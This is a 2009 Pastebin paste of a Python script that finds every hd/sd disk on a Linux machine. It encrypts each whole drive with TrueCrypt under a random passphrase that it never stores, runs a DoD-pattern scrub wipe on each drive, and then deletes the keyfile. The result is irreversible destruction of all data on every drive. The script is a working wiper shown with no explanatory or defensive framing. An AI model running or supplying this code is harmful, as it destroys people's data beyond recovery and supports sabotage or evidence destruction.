Advertisement
Guest User

Keith Lee

a guest
Sep 27th, 2009
130
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.02 KB | None | 0 0
  1. #!/usr/bin/python
  2. import commands,string,random,os
  3. digits = "".join([random.choice(string.digits) for i in xrange(8)])
  4. chars = "".join([random.choice(string.letters) for i in xrange(26)])
  5. keyfile = "".join([random.choice(string.letters) for i in xrange(320)])
  6. k1 = open("/tmp/keyfile","w")
  7. k1.write(keyfile)
  8. k1.close()
  9.  
  10. passphrase = digits+chars
  11.  
  12. output = commands.getoutput("awk '/[hs]d[a-z]$/ { print $4 }' /proc/partitions > output.txt")
  13. f = open("output.txt","r")
  14. rawdata = f.read()
  15. lines = rawdata.split("\n")
  16. f.close()
  17.  
  18. count=0
  19. for z in lines[:-1]:
  20. count+=1
  21.  
  22. count1=0
  23. for z in lines[:-1]:
  24. count1+=1
  25. hdDrives = "/dev/"+z
  26. print "[*] Encrypting Drive %d/%d: %s"% (count1, count, hdDrives)
  27. os.system("truecrypt -c %s --encryption=AES-Twofish --hash=SHA-512 --filesystem=none -p %s --random-source=/tmp/keyfile -k /tmp/keyfile --volume-type=normal" % (hdDrives,passphrase))
  28. print "[*] Wiping Drive %d/%d: %s"% (count1, count, hdDrives)
  29. os.system("scrub -p dod %s"% hdDrives)
  30. os.system("rm /tmp/keyfile")
  31.  
  32.  
  33.  
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement